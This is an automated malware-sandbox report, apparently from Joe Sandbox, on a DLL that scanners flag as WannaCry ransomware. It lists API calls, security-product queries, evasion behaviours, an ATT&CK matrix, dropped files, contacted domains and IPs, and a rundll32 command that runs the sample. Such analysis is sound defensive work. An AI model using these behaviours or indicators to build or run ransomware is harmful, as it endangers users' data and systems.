Source: tasksche.exe, 0000000A.00000003.615381881.00000000008B1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}77[
Source: tasksche.exe, 00000009.00000002.778876848.0000000006E20000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}Z
Source: tasksche.exe, 0000000A.00000003.738581016.00000000008A2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vfl_VMware_SATA_CD0`

Source: C:\Windows\tasksche.exe	Code function: 9_2_00409476 FindFirstFileW,FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,		9_2_00409476
Source: C:\Windows\tasksche.exe	Code function: 9_2_0040DE5E SendDlgItemMessageW,DestroyIcon,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SetDlgItemTextW,SHGetFileInfoW,SendDlgItemMessageW,FindFirstFileW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW,		9_2_0040DE5E

Source: C:\Windows\tasksche.exe

Code function: 9_2_0040CEB6 LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,

9_2_0040CEB6

Source: C:\Windows\tasksche.exe

Code function: 9_2_0041E6DE IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

9_2_0041E6DE

Source: C:\Windows\tasksche.exe	Code function: 9_2_004234CE SetUnhandledExceptionFilter,	9_2_004234CE
Source: C:\Windows\tasksche.exe	Code function: 9_2_0041E6DE IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	9_2_0041E6DE
Source: C:\Windows\tasksche.exe	Code function: 9_2_0041FFDB _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	9_2_0041FFDB
Source: C:\Windows\tasksche.exe	Code function: 9_2_00423F89 __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,RtlUnwind,	9_2_00423F89

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\IU28r0EZFA.dll",#1

Jump to behavior

Source: C:\Windows\tasksche.exe	Code function: GetLocaleInfoW,GetNumberFormatW,		9_2_0040D155
Source: C:\Windows\tasksche.exe	Code function: GetLocaleInfoA,		9_2_00425EF0

Source: C:\Windows\tasksche.exe

Code function: 9_2_0040CA52 cpuid

9_2_0040CA52

Source: C:\Windows\tasksche.exe

Code function: 9_2_0040FEF0 OleInitialize,_memset,GetCommandLineW,OpenFileMappingW,MapViewOfFile,UnmapViewOfFile,CloseHandle,GetModuleFileNameW,SetEnvironmentVariableW,SetEnvironmentVariableW,GetLocalTime,_swprintf,SetEnvironmentVariableW,GetModuleHandleW,LoadIconW,LoadBitmapW,DialogBoxParamW,DeleteObject,DeleteObject,DeleteObject,CloseHandle,Sleep,OleUninitialize,

9_2_0040FEF0

Source: C:\Windows\tasksche.exe

Code function: 9_2_00409C06 GetVersionExW,

9_2_00409C06

Lowering of HIPS / PFW / Operating System Security Settings

Changes security center settings (notifications, updates, antivirus, firewall)

Source: C:\Windows\System32\svchost.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center cval

Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecNotificationQuery - ROOT\SecurityCenter : SELECT * FROM __InstanceOperationEvent WHERE TargetInstance ISA 'AntiVirusProduct' OR TargetInstance ISA 'FirewallProduct' OR TargetInstance ISA 'AntiSpywareProduct'
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - ROOT\SecurityCenter2 : FirewallProduct
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - ROOT\SecurityCenter2 : AntiVirusProduct
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - ROOT\SecurityCenter2 : AntiSpywareProduct

Source: svchost.exe, 0000000F.00000002.779231972.0000022D395BF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C:\Program Files\BullGuard Ltd\BullGuard\BullGuard.exe
Source: svchost.exe, 0000000F.00000002.778966870.0000022D3956F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \BullGuard Ltd\BullGuard\BullGuard.exe
Source: svchost.exe, 00000010.00000002.773468269.00000243F2A51000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: (@V%ProgramFiles%\Windows Defender\MsMpeng.exe
Source: svchost.exe, 00000010.00000002.773248160.00000243F2A29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000010.00000002.773581490.00000243F2B02000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Windows\tasksche.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\tasksche.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\tasksche.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\tasksche.exe	Directory queried: C:\Users\user\Documents	Jump to behavior

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	1 Input Capture	1 System Time Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	3 Ingress Tool Transfer	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	2 Native API	4 Windows Service	1 Access Token Manipulation	1 Deobfuscate/Decode Files or Information	LSASS Memory	12 File and Directory Discovery	Remote Desktop Protocol	1 Data from Local System	Exfiltration Over Bluetooth	11 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	2 Command and Scripting Interpreter	Logon Script (Windows)	4 Windows Service	2 Obfuscated Files or Information	Security Account Manager	33 System Information Discovery	SMB/Windows Admin Shares	1 Input Capture	Automated Exfiltration	4 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	2 Service Execution	Logon Script (Mac)	11 Process Injection	2 Software Packing	NTDS	1 Network Share Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	15 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	241 Security Software Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	1 File Deletion	Cached Domain Credentials	121 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	121 Masquerading	DCSync	1 Remote System Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	121 Virtualization/Sandbox Evasion	Proc Filesystem	Network Service Scanning	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	1 Access Token Manipulation	/etc/passwd and /etc/shadow	System Network Connections Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	11 Process Injection	Network Sniffing	Process Discovery	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact
Compromise Software Dependencies and Development Tools	Windows Command Shell	Cron	Cron	1 Rundll32	Input Capture	Permission Groups Discovery	Replication Through Removable Media	Remote Data Staging	Exfiltration Over Physical Medium	Mail Protocols			Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
IU28r0EZFA.dll	90%	ReversingLabs	Win32.Ransomware.WannaCry
IU28r0EZFA.dll	87%	Virustotal		Browse
IU28r0EZFA.dll	100%	Avira	TR/AD.DPulsarShellcode.uvbfu
IU28r0EZFA.dll	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Windows\mssecsvr.exe	100%	Avira	TR/Rasftuby.cpsmo
C:\Windows\tasksche.exe	100%	Avira	TR/Rasftuby.cpsmo
C:\Windows\mssecsvr.exe	100%	Joe Sandbox ML
C:\Windows\eee.exe	100%	Joe Sandbox ML
C:\WINDOWS\qeriuwjhrf (copy)	79%	ReversingLabs	Win32.Ransomware.WannaCry
C:\Windows\eee.exe	12%	ReversingLabs
C:\Windows\mssecsvr.exe	100%	ReversingLabs	Win32.Ransomware.WannaCry
C:\Windows\tasksche.exe	79%	ReversingLabs	Win32.Ransomware.WannaCry

Unpacked PE Files

Source	Detection	Scanner	Label	Download
8.2.mssecsvr.exe.400000.0.unpack	100%	Avira	TR/Rasftuby.cpsmo	Download File
5.0.mssecsvr.exe.400000.2.unpack	100%	Avira	TR/Rasftuby.cpsmo	Download File
8.2.mssecsvr.exe.1e99104.5.unpack	100%	Avira	HEUR/AGEN.1215476	Download File
7.0.mssecsvr.exe.400000.6.unpack	100%	Avira	TR/Rasftuby.cpsmo	Download File
8.0.mssecsvr.exe.400000.0.unpack	100%	Avira	TR/Rasftuby.cpsmo	Download File
7.0.mssecsvr.exe.400000.4.unpack	100%	Avira	TR/Rasftuby.cpsmo	Download File
7.0.mssecsvr.exe.400000.0.unpack	100%	Avira	TR/Rasftuby.cpsmo	Download File
5.0.mssecsvr.exe.400000.0.unpack	100%	Avira	TR/Rasftuby.cpsmo	Download File
8.2.mssecsvr.exe.1e8a084.2.unpack	100%	Avira	TR/Ransom.Gen	Download File
7.2.mssecsvr.exe.400000.0.unpack	100%	Avira	TR/Rasftuby.cpsmo	Download File
8.2.mssecsvr.exe.23b58c8.7.unpack	100%	Avira	TR/Ransom.Gen	Download File
5.0.mssecsvr.exe.400000.6.unpack	100%	Avira	TR/Rasftuby.cpsmo	Download File
7.0.mssecsvr.exe.400000.2.unpack	100%	Avira	TR/Rasftuby.cpsmo	Download File
5.0.mssecsvr.exe.400000.4.unpack	100%	Avira	TR/Rasftuby.cpsmo	Download File
8.2.mssecsvr.exe.23c4948.8.unpack	100%	Avira	HEUR/AGEN.1215476	Download File
5.2.mssecsvr.exe.400000.0.unpack	100%	Avira	TR/Rasftuby.cpsmo	Download File

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com	100%	URL Reputation	malware
http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com/	100%	URL Reputation	malware
https://%s.xboxlive.com	0%	URL Reputation	safe
https://dynamic.t	0%	URL Reputation	safe
http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.comJ	0%	URL Reputation	safe
https://%s.dnet.xboxlive.com	0%	URL Reputation	safe
http://ww38.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com/	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
701602.parkingcrew.net	76.223.26.96	true	false	high
www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com	103.224.212.220	true	false	unknown
ww38.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://ww38.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com/	false	Avira URL Cloud: malware	unknown
http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com/	true	URL Reputation: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://dynamic.t0.tiles.ditu.live.com/comp/gen.ashx	svchost.exe, 0000000D.00000003.318327603.000001EE76861000.00000004.00000020.00020000.00000000.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdv?pv=1&r=	svchost.exe, 0000000D.00000003.318403741.000001EE76840000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.318423774.000001EE76845000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dev.ditu.live.com/REST/v1/Routes/	svchost.exe, 0000000D.00000002.318686184.000001EE7683D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Routes/Driving	svchost.exe, 0000000D.00000003.318327603.000001EE76861000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com	mssecsvr.exe.3.dr	true	URL Reputation: malware	unknown
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/comp/gen.ashx	svchost.exe, 0000000D.00000002.318686184.000001EE7683D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://t0.tiles.ditu.live.com/tiles/gen	svchost.exe, 0000000D.00000002.318715274.000001EE76856000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.318285439.000001EE76850000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.318444660.000001EE76855000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Routes/	svchost.exe, 0000000D.00000002.318686184.000001EE7683D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Traffic/Incidents/	svchost.exe, 0000000D.00000003.296493818.000001EE76830000.00000004.00000020.00020000.00000000.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdi?pv=1&r=	svchost.exe, 0000000D.00000003.318403741.000001EE76840000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.318423774.000001EE76845000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Routes/Walking	svchost.exe, 0000000D.00000003.318327603.000001EE76861000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dev.virtualearth.net/webservices/v1/LoggingService/LoggingService.svc/Log?	svchost.exe, 0000000D.00000003.318403741.000001EE76840000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.318702509.000001EE7684B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.318348936.000001EE76849000.00000004.00000020.00020000.00000000.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gd?pv=1&r=	svchost.exe, 0000000D.00000002.318619371.000001EE76813000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.318686184.000001EE7683D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dev.virtualearth.net/mapcontrol/HumanScaleServices/GetBubbles.ashx?n=	svchost.exe, 0000000D.00000003.318403741.000001EE76840000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.318430440.000001EE76841000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.318696253.000001EE76842000.00000004.00000020.00020000.00000000.sdmp	false		high
https://%s.xboxlive.com	svchost.exe, 0000000B.00000002.773449514.0000020DFAC40000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	low
https://dev.ditu.live.com/mapcontrol/mapconfiguration.ashx?name=native&v=	svchost.exe, 0000000D.00000002.318715274.000001EE76856000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.318285439.000001EE76850000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.318444660.000001EE76855000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Locations	svchost.exe, 0000000D.00000003.318327603.000001EE76861000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ecn.dev.virtualearth.net/mapcontrol/mapconfiguration.ashx?name=native&v=	svchost.exe, 0000000D.00000003.296493818.000001EE76830000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dev.virtualearth.net/mapcontrol/logging.ashx	svchost.exe, 0000000D.00000003.318327603.000001EE76861000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dev.ditu.live.com/mapcontrol/logging.ashx	svchost.exe, 0000000D.00000003.318327603.000001EE76861000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dev.ditu.live.com/REST/v1/Imagery/Copyright/	svchost.exe, 0000000D.00000003.318348936.000001EE76849000.00000004.00000020.00020000.00000000.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gri?pv=1&r=	svchost.exe, 0000000D.00000003.296493818.000001EE76830000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dynamic.api.tiles.ditu.live.com/odvs/gdi?pv=1&r=	svchost.exe, 0000000D.00000003.318348936.000001EE76849000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dev.virtualearth.net/REST/v1/JsonFilter/VenueMaps/data/	svchost.exe, 0000000D.00000003.296493818.000001EE76830000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Transit/Schedules/	svchost.exe, 0000000D.00000002.318696253.000001EE76842000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dynamic.t	svchost.exe, 0000000D.00000003.318309705.000001EE76863000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.318348936.000001EE76849000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://dev.virtualearth.net/REST/v1/Routes/Transit	svchost.exe, 0000000D.00000003.318327603.000001EE76861000.00000004.00000020.00020000.00000000.sdmp	false		high
https://t0.ssl.ak.tiles.virtualearth.net/tiles/gen	svchost.exe, 0000000D.00000002.318677709.000001EE76839000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.296493818.000001EE76830000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.comJ	mssecsvr.exe, 00000008.00000002.772611191.000000000019C000.00000004.00000010.00020000.00000000.sdmp	true	URL Reputation: safe	unknown
https://dynamic.api.tiles.ditu.live.com/odvs/gdv?pv=1&r=	svchost.exe, 0000000D.00000002.318702509.000001EE7684B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.318348936.000001EE76849000.00000004.00000020.00020000.00000000.sdmp	false		high
https://activity.windows.com	svchost.exe, 0000000B.00000002.773449514.0000020DFAC40000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.bingmapsportal.com	svchost.exe, 0000000D.00000002.318619371.000001EE76813000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dev.ditu.live.com/REST/v1/Locations	svchost.exe, 0000000D.00000003.318327603.000001EE76861000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ecn.dev.virtualearth.net/REST/v1/Imagery/Copyright/	svchost.exe, 0000000D.00000002.318686184.000001EE7683D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://%s.dnet.xboxlive.com	svchost.exe, 0000000B.00000002.773449514.0000020DFAC40000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	low
https://dynamic.api.tiles.ditu.live.com/odvs/gd?pv=1&r=	svchost.exe, 0000000D.00000003.318348936.000001EE76849000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
176.210.131.95	unknown	Russian Federation	12389	ROSTELECOM-ASRU	true
176.210.131.96	unknown	Russian Federation	12389	ROSTELECOM-ASRU	true
137.147.151.217	unknown	Australia	1221	ASN-TELSTRATelstraCorporationLtdAU	false
176.210.131.93	unknown	Russian Federation	12389	ROSTELECOM-ASRU	true
176.210.131.94	unknown	Russian Federation	12389	ROSTELECOM-ASRU	true
28.171.78.243	unknown	United States	7922	COMCAST-7922US	false
176.210.131.91	unknown	Russian Federation	12389	ROSTELECOM-ASRU	true
176.210.131.92	unknown	Russian Federation	12389	ROSTELECOM-ASRU	true
90.73.140.217	unknown	France	3215	FranceTelecom-OrangeFR	false
8.7.54.209	unknown	United States	3356	LEVEL3US	false
87.158.98.77	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
176.210.131.90	unknown	Russian Federation	12389	ROSTELECOM-ASRU	true
134.61.186.49	unknown	Germany	47610	RWTH-ASDE	false
94.161.215.91	unknown	Italy	24608	WINDTRE-ASIT	false
2.165.46.17	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
75.135.3.22	unknown	United States	20115	CHARTER-20115US	false
21.185.70.172	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
176.210.131.97	unknown	Russian Federation	12389	ROSTELECOM-ASRU	true
95.207.217.29	unknown	Sweden	3301	TELIANET-SWEDENTeliaCompanySE	false
198.90.83.85	unknown	Canada	11260	EASTLINK-HSICA	false
132.41.147.249	unknown	United States	386	AFCONC-BLOCK1-ASUS	false
90.211.20.95	unknown	United Kingdom	5607	BSKYB-BROADBAND-ASGB	false
200.120.242.168	unknown	Chile	22047	VTRBANDAANCHASACL	false
177.150.16.161	unknown	Brazil	26615	TIMSABR	false
83.130.174.249	unknown	Israel	9116	GOLDENLINES-ASNPartnerCommunicationsMainAutonomousSyste	false
67.208.56.90	unknown	Reserved	395746	TURN5-DCUS	false
147.241.68.9	unknown	United States	228	DNIC-AS-00228US	false
176.210.131.84	unknown	Russian Federation	12389	ROSTELECOM-ASRU	true
176.210.131.85	unknown	Russian Federation	12389	ROSTELECOM-ASRU	true
176.210.131.82	unknown	Russian Federation	12389	ROSTELECOM-ASRU	true
174.94.45.200	unknown	Canada	577	BACOMCA	false
124.70.90.244	unknown	China	55990	HWCSNETHuaweiCloudServicedatacenterCN	false
153.241.161.117	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
176.210.131.83	unknown	Russian Federation	12389	ROSTELECOM-ASRU	true
59.21.52.95	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
176.210.131.80	unknown	Russian Federation	12389	ROSTELECOM-ASRU	true
51.38.102.164	unknown	France	16276	OVHFR	false
176.210.131.81	unknown	Russian Federation	12389	ROSTELECOM-ASRU	true
171.211.236.105	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
59.211.151.21	unknown	China	2516	KDDIKDDICORPORATIONJP	false
145.12.233.87	unknown	Netherlands	203396	MINEZ-DICTUNL	false
68.242.89.238	unknown	United States	10507	SPCSUS	false
176.210.131.88	unknown	Russian Federation	12389	ROSTELECOM-ASRU	true
33.234.130.71	unknown	United States	2686	ATGS-MMD-ASUS	false
176.210.131.89	unknown	Russian Federation	12389	ROSTELECOM-ASRU	true
176.210.131.86	unknown	Russian Federation	12389	ROSTELECOM-ASRU	true
176.210.131.87	unknown	Russian Federation	12389	ROSTELECOM-ASRU	true
14.28.206.105	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
60.223.134.11	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
94.230.172.64	unknown	Russian Federation	48670	UNISRU	false
48.146.165.55	unknown	United States	2686	ATGS-MMD-ASUS	false
155.23.18.115	unknown	United States	1541	DNIC-ASBLK-01534-01546US	false
133.132.243.14	unknown	Japan	9595	XEPHIONNTT-MECorporationJP	false
193.110.185.48	unknown	Ukraine	24681	SUMIX-UA-ASUA	false
2.48.44.177	unknown	United Arab Emirates	5384	EMIRATES-INTERNETEmiratesInternetAE	false
71.249.167.190	unknown	United States	701	UUNETUS	false
60.10.51.192	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
21.221.177.146	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
167.149.95.55	unknown	United States	25899	LSNETUS	false
146.87.217.143	unknown	United Kingdom	786	JANETJiscServicesLimitedGB	false
84.6.126.1	unknown	France	8228	CEGETEL-ASFR	false
202.92.81.200	unknown	Australia	2764	AAPTAAPTLimitedAU	false
161.169.73.77	unknown	United States	10695	WAL-MARTUS	false
84.6.126.2	unknown	France	8228	CEGETEL-ASFR	false
215.87.83.71	unknown	United States	721	DNIC-ASBLK-00721-00726US	false
187.239.151.5	unknown	Mexico	8151	UninetSAdeCVMX	false
119.215.76.76	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
84.6.126.3	unknown	France	8228	CEGETEL-ASFR	false
184.34.248.114	unknown	United States	5778	CENTURYLINK-LEGACY-EMBARQ-RCMTUS	false
108.64.92.103	unknown	United States	7018	ATT-INTERNET4US	false

Private

IP
192.168.2.148
192.168.2.149
192.168.2.146
192.168.2.147
192.168.2.140
192.168.2.141
192.168.2.144
192.168.2.145
192.168.2.142
192.168.2.143
192.168.2.159
192.168.2.157
192.168.2.158
192.168.2.151
192.168.2.152
192.168.2.150
192.168.2.155
192.168.2.156
192.168.2.153
192.168.2.154
192.168.2.126
192.168.2.127
192.168.2.124
192.168.2.125
192.168.2.128
192.168.2.129
192.168.2.122
192.168.2.123
192.168.2.120
192.168.2.121

General Information

Joe Sandbox Version:	36.0.0 Rainbow Opal
Analysis ID:	771978
Start date and time:	2022-12-22 10:02:13 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 10m 59s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	IU28r0EZFA.dll
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	21
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.rans.troj.expl.evad.winDLL@30/8@6/100
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 99.7% (good quality ratio 97.5%) Quality average: 87.1% Quality standard deviation: 21.1%
HCA Information:	Successful, ratio: 79% Number of executed functions: 68 Number of non-executed functions: 91
Cookbook Comments:	Found application associated with file extension: .dll Override analysis time to 240s for rundll32

Warnings

Exclude process from analysis (whitelisted): WMIADAP.exe
Excluded IPs from analysis (whitelisted): 178.79.225.0
Excluded domains from analysis (whitelisted): www.bing.com, client.wns.windows.com, fs.microsoft.com, ctldl.windowsupdate.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtDeviceIoControlFile calls found.
